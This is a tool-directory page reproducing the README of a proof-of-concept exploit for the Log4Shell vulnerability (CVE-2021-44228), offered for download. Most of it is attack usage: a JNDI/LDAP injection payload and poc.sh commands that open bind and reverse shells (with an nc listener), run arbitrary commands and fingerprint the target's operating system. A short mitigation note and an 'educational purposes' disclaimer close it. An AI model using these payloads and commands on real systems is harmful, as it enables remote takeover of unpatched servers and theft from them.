Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228-PoC — Proof-of-concept exploit for CVE-2021-44228 (Log4Shell) with HTTP and LDAP servers, supporting reverse/bind shells, RCE, and time-based detection for educational use. | Kitploit
Tools/GitHubGitHub/thearqsz/cve-2021-44228-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubthearqsz/cve-2021-44228-poc

CVE-2021-44228-PoC

Proof-of-concept exploit for CVE-2021-44228 (Log4Shell) with HTTP and LDAP servers, supporting reverse/bind shells, RCE, and time-based detection for educational use.

View Repository
24 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-44228 PoC

PoC for CVE-2021-44228.

Project made for EDUCATIONAL PURPOSES ONLY.

Exploit server

This project creates two servers: http and ldap. Both are necessary for exploit to work. Specified java file is compiled and servers are started in Dockerfile. Payload is shown to user - it has to be passed to vulnerable application.

Example payload:

root@kitploit:~
${jndi:ldap//127.0.0.1:1389/a}

How to run?

  • Bind shell
root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
  • Reverse shell
root@kitploit:~
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
  • RCE
root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
  • Time based vulnerability detection

It sleeps program for 25 seconds

root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
  • OS detection
root@kitploit:~
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444

OS detection may return 4 letters:

  • L for Linux
  • W for Windows
  • M for MacOS
  • U for unknown

Bypass

Bypass technique was published. Example here

Vulnerable application

App was designed to show how it works. To build and run jar with an app use:

root@kitploit:~
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'

where PAYLOAD is returned from ./poc.sh script (e.g. ${jndi:ldap://127.0.0.1:1389/1}).

Credits

Some credits for projects and websites that were used during creation of this exploit:

  • https://github.com/shanfenglan/apache_log4j_poc
  • https://github.com/ivan-sincek/java-reverse-tcp
  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/RandomRobbieBF/marshalsec-jar

How to secure yourself?

Start app using log4j with log4j2.formatMsgNoLookups set to true, or update to log4j-2.15.0-rc1 or later. Updates are there in the wild - implement them as soon as possible.

Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

Download Tool